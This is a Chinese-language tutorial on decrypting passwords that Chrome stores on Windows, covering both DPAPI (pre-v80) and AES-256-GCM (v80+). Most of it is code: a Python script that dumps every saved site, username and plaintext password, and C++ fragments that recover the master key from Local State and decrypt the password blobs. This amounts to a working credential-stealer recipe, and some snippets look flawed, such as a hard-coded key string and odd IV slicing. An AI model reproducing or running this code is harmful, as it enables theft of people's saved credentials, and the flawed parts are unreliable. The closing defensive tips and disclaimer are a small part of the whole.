c++实现抓取所有版本Chrome存储的密码
字数 1330 2025-08-05 08:19:10
Chrome浏览器密码存储与解密技术详解
1. Chrome密码存储机制概述
谷歌浏览器提供自动保存密码功能,这些密码经过加密后存储在本地。加密机制在不同版本中有显著差异:
- 80版本之前:使用Windows DPAPI直接加密
- 80版本之后:采用AES-256-GCM加密,密钥由DPAPI保护
2. Windows DPAPI简介
DPAPI(Data Protection Application Programming Interface)是Windows提供的数据保护接口:
- 用户态接口,无需实现加解密代码
- 提供高质量加解密算法
- 密钥推导和存储透明化
- 主要接口:
CryptProtectData- 加密数据CryptUnprotectData- 解密数据
3. 80版本前的Chrome密码解密(版本<80)
3.1 存储位置
密码存储在SQLite数据库中:
%LocalAppData%\Google\Chrome\User Data\Default\Login Data
3.2 数据库结构
使用SQLiteStudio可查看logins表,包含:
action_url- 网站URLusername_value- 用户名password_value- 加密的密码
3.3 Python解密示例
from os import getenv
import sqlite3
import win32crypt
conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
if password:
print('Site: ' + result[0])
print('Username: ' + result[1])
print('Password: ' + password)
3.4 C++实现要点
- 配置SQLite3环境
- 复制数据库文件(因Chrome使用时锁定原文件)
- 执行SQL查询
SELECT action_url, username_value, password_value FROM logins - 使用
CryptUnprotectData解密密码
4. 80版本后的Chrome密码解密(版本≥80)
4.1 加密机制变化
- 加密数据前缀为"v10"或"v11"
- 使用AES-256-GCM加密算法
- 密钥存储在:
的%LocalAppData%\Google\Chrome\User Data\Local Stateos_crypt.encrypted_key字段中
4.2 加密结构
v10 [12字节NONCE/IV] [密文]
参数说明:
- NONCE/IV:12字节,确保相同明文加密结果不同
- 密钥长度:32字节
- 加密算法:AES-256-GCM(AEAD对称加密)
4.3 密钥获取流程
- 从Local State文件提取
os_crypt.encrypted_key值 - Base64解码
- 去除前5个字符"DPAPI"
- 使用DPAPI解密得到最终密钥
4.4 C++实现关键代码
获取原始密钥
string GetOriginalkey() {
string Decoded = "";
// 获取Local State中的未解密key
string key = "RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADWXmStECIlTZZxWMAYf5UmAAAAAAIAAAAAABBmAAAAAQAAIAAAAP8V1h3J1qhN1Hks1TbInimvYa0TnMfPa0j.WLC2oU3TkysoXmUAAAAAtPkLwNaInulyoGNH4GDxlwbzAW4DP7T8XWsZ/2QB0YrcLqxSNytHlV1qvVyO8D20Eu7jKqD/bMW2MzwEa40iF";
StringSource((BYTE*)key.c_str(), key.size(), true, new Base64Decoder(new StringSink(Decoded)));
key = Decoded;
key = key.substr(5); // 去除首位5个字符DPAPI
Decoded.clear();
// DPAPI解密
int i;
char result[1000] = "";
DATA_BLOB DataOut = {0};
DATA_BLOB DataVerify = {0};
DataOut.pbData = (BYTE*)key.c_str();
DataOut.cbData = 1000;
if(!CryptUnprotectData(&DataOut, nullptr, NULL, NULL, NULL, 0, &DataVerify)) {
printf("[!] Decryption failure: %d\n", GetLastError());
} else {
printf("[+] Decryption successfully!\n");
for(i=0; i<DataVerify.cbData; i++) {
result[i] = DataVerify.pbData[i];
}
}
return result;
}
版本判断与解密
string e_str = argv[2];
// 判断密文是否包含v10或v11
if(strstr(e_str.c_str(), "v10") != NULL || strstr(e_str.c_str(), "v11") != NULL) {
NewDecrypt(argc, argv, azColName);
} else {
DecryptoByDPAPI(argv, azColName);
}
解密密文
// 获取iv和密文
chiper = argv[2];
iv = argv[2];
iv = iv.substr(3, 15); // 获取iv的值
chiper = chiper.substr(15); // 加密密码的值
// 获取iv hex编码值
StringSource((BYTE*)iv.c_str(), iv.size(), true, new HexEncoder(new StringSink(Encoded)));
iv = Encoded;
Encoded.clear();
iv = iv.substr(0, iv.size()-6);
CHAR Pass_Word[1000] = {0};
StringSource((BYTE*)iv.c_str(), iv.size(), true, new HexDecoder(new StringSink(Decoded)));
iv = Decoded;
Decoded.clear();
char* key = GetOriginalkey();
d.SetKeyWithIV((BYTE*)key, 32, (BYTE*)iv.c_str(), iv.size());
StringSource(chiper, true, new AuthenticatedDecryptionFilter(d, new StringSink(password)));
for(int i=0; i<password.size(); i++) {
Pass_Word[i] = password[i];
}
printf("%s = %s\n", azColName[0], argv[0] ? argv[0] : "NULL");
printf("%s = %s\n", azColName[1], argv[1] ? argv[1] : "NULL");
printf("%s = %s\n", azColName[2], Pass_Word);
5. 技术要点总结
- 版本识别:检查密码值前缀是否为"v10"或"v11"
- 密钥获取:
- 从Local State文件获取加密密钥
- Base64解码后去除"DPAPI"前缀
- 使用DPAPI解密得到AES密钥
- 密码解密:
- 提取12字节IV/NONCE
- 使用AES-256-GCM算法解密
- 工具依赖:
- SQLite3库 - 读取数据库
- Cryptopp库 - AES解密
- Windows DPAPI - 密钥解密
6. 防御建议
- 使用主密码保护Chrome存储的密码
- 定期清理已保存的密码
- 对敏感设备实施物理安全措施
- 使用专业密码管理器而非浏览器内置功能
7. 法律与道德声明
本文所述技术仅供安全研究和学习使用。未经授权访问他人计算机系统或数据是违法行为。在实际应用中,请确保遵守所有适用法律法规。